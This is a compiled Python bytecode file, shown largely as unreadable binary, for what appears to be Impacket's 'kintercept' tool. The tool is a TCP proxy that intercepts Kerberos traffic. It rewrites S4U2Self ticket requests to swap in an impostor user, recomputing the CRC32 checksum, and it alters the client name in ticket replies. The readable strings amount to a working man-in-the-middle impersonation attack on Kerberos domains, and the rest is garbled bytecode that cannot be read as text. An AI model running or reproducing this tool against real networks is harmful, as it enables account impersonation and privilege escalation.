o
    àý°jÞ'  ã                   @   s¶  d dl Z d dlZd dlZd dlZd dlmZ d dlmZmZ d dl	m
Z
 d dlmZ d dlmZ d dlmZ d dlmZmZmZmZ d d	lmZ d d
lmZ dZdZdZdZdd„ Zdd„ ZG dd„ dej ƒZ!dd„ Z"G dd„ dƒZ#G dd„ dej ƒZ$dd„ Z%e&dkrÙe'ej(ƒ e%ƒ Z)e *e)j+e)j,¡ e#ƒ  Z-Z.e)d r¬e)d  /d¡Z0e#e0d  e0d ƒZ-e)d  rÀe)d   /d¡Z1e#e1d  e1d ƒZ.e$e)d! e)d" fe)d# e)d$ fe-e.ƒZ2e 3¡  dS dS )%é    N)Úcrc32)ÚdecoderÚencoder)ÚnoValue)Úversion)Ú	constants)Ú	Cksumtype)ÚTGS_REQÚTGS_REPÚseq_setÚPA_FOR_USER_ENC)Ú	Principal)Úloggeri€>  i }  é
   c           
      C   sp  zt j| tƒ d�d }W n
   tdƒ Y dS d  }}|d D ]}|d tjjjkr-|}q|d tjjjkr8|}q|r=|sCtdƒ dS t	|d< ||d d< zt j|d t
ƒ d�d }W n
   td	ƒ Y dS t d
t¡}||t|d ƒ d 7 }t|dƒ d@ }t d
|¡}t|td�}	t|d|	jƒ t	|d< tj|d d< ||d d< t |¡|d< ||d d< tt |¡ƒS )N©Úasn1Specr   zRecord is not a TGS-REQÚ Úpadatazpadata-typezTGS request is not S4Uzpadata-valuezFailed to decode PA_FOR_USER!z<IÚ	userRealmÚKerberosl   ÿÿ ©ÚtypeÚuserNameÚcksumÚ	cksumtypeÚchecksumé   )r   Údecoder	   Úprintr   ÚPreAuthenticationDataTypesÚ
PA_TGS_REQÚvalueÚPA_FOR_USERr   r   ÚstructÚpackÚTYPEÚstrr   r   r   Úcomponents_to_asn1r   ÚCRC32r   ÚencodeÚbytes)
ÚdataÚimpostorÚtgsÚ
pa_tgs_reqÚpa_for_userÚpaÚfor_user_objÚS4UByteArrayÚcsÚ
clientName© r5   úŠ/root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/../../../bin/kintercept.pyÚprocess_s4u2else_req1   sD   €r7   c                 C   sV   zt j| tƒ d�d }W n
   tdƒ Y dS t|td�}t|d|jƒ tt	 
|¡ƒS )Nr   r   zRecord is not a TGS-REPr   r   Úcname)r   r   r
   r   r   r%   r   r'   r*   r   r)   )r+   Ú
reply_userr-   r8   r5   r5   r6   Úmod_tgs_rep_user_   s   r:   c                   @   sn   e Zd Zddd„Zdd„ Zdd„ Zdd	„ Zd
d„ Zdd„ Zdd„ Z	dd„ Z
dd„ Zdd„ Zdd„ Zdd„ ZdS )ÚInterceptConnNc                 C   s,   t j | |¡ d | _tƒ | _d| _d| _d S ©NF)ÚasyncoreÚ
dispatcherÚ__init__ÚpeerÚ	bytearrayÚbufferÚeof_receivedÚeof_sent©ÚselfÚconnr5   r5   r6   r?   m   s
   
zInterceptConn.__init__c              
   C   sp   |sdS z| j  |¡}|s|  ¡  W dS |W S  t jy7 } z|jd tjv r2|  ¡  W Y d }~dS ‚ d }~ww )Nr   r   )ÚsocketÚrecvÚ
handle_eofÚerrorÚargsr=   Ú_DISCONNECTEDÚhandle_close)rF   Únr+   Úwhyr5   r5   r6   rI   v   s   €ûzInterceptConn.recvc                 C   s   | j j |¡ d S ©N)r@   rB   Úextend)rF   r+   r5   r5   r6   Úforward_data‡   s   zInterceptConn.forward_datac                 C   s   t | jƒdkS )Nr   )ÚlenrB   ©rF   r5   r5   r6   Úbuffer_emptyŠ   s   zInterceptConn.buffer_emptyc                 C   s    t tt t| jjƒƒ }tt|ƒS rQ   )ÚMAX_BUFF_SIZEÚminrT   r@   rB   ÚMAX_READ_SIZE)rF   Úspacer5   r5   r6   Úmax_read_size�   s   
zInterceptConn.max_read_sizec                 C   s   | j sdS | j o|  ¡ dkS )NTr   )Ú	connectedrC   r[   rU   r5   r5   r6   Úreadable‘   s   zInterceptConn.readablec                 C   sH   |   |  ¡ ¡}|r"tt|  ¡ ƒd tt|ƒƒ d ƒ |  |¡ d S d S )Nz: recieved ú bytes)rI   r[   r   r&   ÚfilenorT   rS   )rF   Ú	data_readr5   r5   r6   Úhandle_read–   s
   $þzInterceptConn.handle_readc                 C   s   t t|  ¡ ƒd ƒ d| _d S )Nz: received eofT)r   r&   r_   rC   rU   r5   r5   r6   rJ   œ   s   
zInterceptConn.handle_eofc                 C   s   | j rdS |  ¡ o| jjS r<   )rD   rV   r@   rC   rU   r5   r5   r6   Úneed_to_send_eof    s   zInterceptConn.need_to_send_eofc                 C   s   | j sdS |  ¡  p|  ¡ S )NT)r\   rV   rb   rU   r5   r5   r6   Úwritable¥   s   zInterceptConn.writablec                 C   sŽ   |   ¡ s"|  | j¡}tt|  ¡ ƒd t|ƒ d ƒ |r"| jd |…= |  ¡ rC|  tj	¡ d| _
tt|  ¡ ƒd ƒ | jj
rE|  ¡  d S d S d S )Nz: sent r^   Tz
: sent eof)rV   ÚsendrB   r   r&   r_   rb   ÚshutdownrH   ÚSHUT_WRrD   r@   rN   )rF   Úsentr5   r5   r6   Úhandle_writeª   s    ûzInterceptConn.handle_writec                 C   s@   t dt|  ¡ ƒ d t| j ¡ ƒ d ƒ | j ¡  |  ¡  d S )NzClosing pair: [ú,ú])r   r&   r_   r@   ÚcloserU   r5   r5   r6   rN   ·   s   *
zInterceptConn.handle_closerQ   )Ú__name__Ú
__module__Ú__qualname__r?   rI   rS   rV   r[   r]   ra   rJ   rb   rc   rh   rN   r5   r5   r5   r6   r;   l   s    
	r;   c                    s   G ‡ ‡fdd„dt ƒ}|S )Nc                       s$   e Zd Zddd„Z‡ ‡fdd„ZdS )z+InterceptKRB5Tcp.<locals>._InterceptKRB5TcpNc                 S   s   t  | |¡ tƒ | _d S rQ   )r;   r?   rA   Úproto_bufferrE   r5   r5   r6   r?   ¿   s   z4InterceptKRB5Tcp.<locals>._InterceptKRB5Tcp.__init__c                    s  | j  |¡ t| j ƒrt| j ƒdk rd S d tt| j d d… ƒƒ¡}t d|¡d }tdt|ƒ ƒ t| j ƒd| k r=d S ˆt	| j dd| … ƒˆ ƒ}|s[t
 | | j d d| … ¡ nt dt|ƒ¡}t
 | d t|ƒ¡| ¡ | j d d| …= t| j ƒsd S d S )Né   r   z<Lr   zlen of record: )ro   rR   rT   ÚjoinÚreversedr&   r#   Úunpackr   r*   r;   rS   r$   )rF   r+   ÚheaderÚrec_lenÚmsg©ÚargÚprocess_record_funcr5   r6   rS   Ã   s    
îz8InterceptKRB5Tcp.<locals>._InterceptKRB5Tcp.forward_datarQ   )rl   rm   rn   r?   rS   r5   rw   r5   r6   Ú_InterceptKRB5Tcp¾   s    
rz   )r;   )ry   rx   rz   r5   rw   r6   ÚInterceptKRB5Tcp½   s   r{   c                   @   s   e Zd Zddd„Zdd„ ZdS )ÚInterceptConnFactoryNc                 C   s   || _ || _d S rQ   )Úhandlerrx   )rF   r}   rx   r5   r5   r6   r?   Ý   s   
zInterceptConnFactory.__init__c                 C   sB   | j stS | j  ¡ dkrtt| jƒS | j  ¡ dkrtt| jƒS d S )NÚs4u2elseztgs-rep-user)r}   r;   Úlowerr{   r7   rx   r:   rU   r5   r5   r6   Úproduceá   s   ÿzInterceptConnFactory.produce)NN)rl   rm   rn   r?   r€   r5   r5   r5   r6   r|   Ü   s    
r|   c                   @   s$   e Zd Zdd„ Zdd„ Zdd„ ZdS )ÚInterceptServerc                 C   sN   t j | ¡ || _|  tjtj¡ |  ¡  |  	|¡ |  
t¡ || _|| _d S rQ   )r=   r>   r?   ÚtargetÚcreate_socketrH   ÚAF_INETÚSOCK_STREAMÚset_reuse_addrÚbindÚlistenÚLISTEN_QUEUEÚ	downconnsÚupconns)rF   Úaddrr‚   Úicf1Úicf2r5   r5   r6   r?   ê   s   


zInterceptServer.__init__c                 C   s"   | j  ¡ |ƒ}| j ¡ ƒ }||fS rQ   )rŠ   r€   r‹   )rF   rG   Úiconn1Úiconn2r5   r5   r6   Úintercept_connsô   s   zInterceptServer.intercept_connsc                 C   sš   |   ¡ \}}|  |¡\}}||_||_z%| tjtj¡ | | j¡ t	dt
| ¡ ƒ ƒ t	dt
| ¡ ƒ ƒ W d S    t	t
| ¡ ƒd ƒ | ¡  Y d S )Nzaccepted downconn fd: zestablished upconn fd: z: failed to connect to target)Úacceptr‘   r@   rƒ   rH   r„   r…   Úconnectr‚   r   r&   r_   rN   )rF   rG   rŒ   Ú
downstreamÚupstreamr5   r5   r6   Úhandle_acceptù   s   zInterceptServer.handle_acceptN)rl   rm   rn   r?   r‘   r–   r5   r5   r5   r6   r�   é   s    
r�   c                  C   sž   t jdd�} | jddd� | jddtdd	� | jd
dtdd	� | jdddd� | jddddd� | jddddd� | jdddd� | jdddd� t|  ¡ ƒS )NzIntercept TCP streams)ÚdescriptionÚserverzTarget server address)Úhelpz--server-portéX   zTarget server port)Údefaultr   r™   z--listen-portzPort to listen onz--listen-addrr   zAddress to listen on)r›   r™   z--request-handlerzHANDLER:ARGzExample: s4u2else:user)r›   Úmetavarr™   z--reply-handlerzExample: tgs-rep-user:userz-tsÚ
store_truez&Adds timestamp to every logging output)Úactionr™   z-debugzTurn DEBUG output ON)ÚargparseÚArgumentParserÚadd_argumentÚintÚvarsÚ
parse_args)Úparserr5   r5   r6   r¤     s   r¤   Ú__main__Úrequest_handlerú:r   Úreply_handlerÚlisten_addrÚlisten_portr˜   Úserver_port)4r#   rH   rŸ   r=   Úbinasciir   Úpyasn1.codec.derr   r   Úpyasn1.type.univr   Úimpacketr   Úimpacket.krb5r   Úimpacket.krb5.cryptor   Úimpacket.krb5.asn1r	   r
   r   r   Úimpacket.krb5.typesr   Úimpacket.examplesr   rY   rW   r‰   r%   r7   r:   r>   r;   r{   r|   r�   r¤   rl   r   ÚBANNERrL   ÚinitÚtsÚdebugÚreq_factoryÚrep_factoryÚsplitÚreq_argsÚrep_argsr˜   Úloopr5   r5   r5   r6   Ú<module>   sL    .Q

þí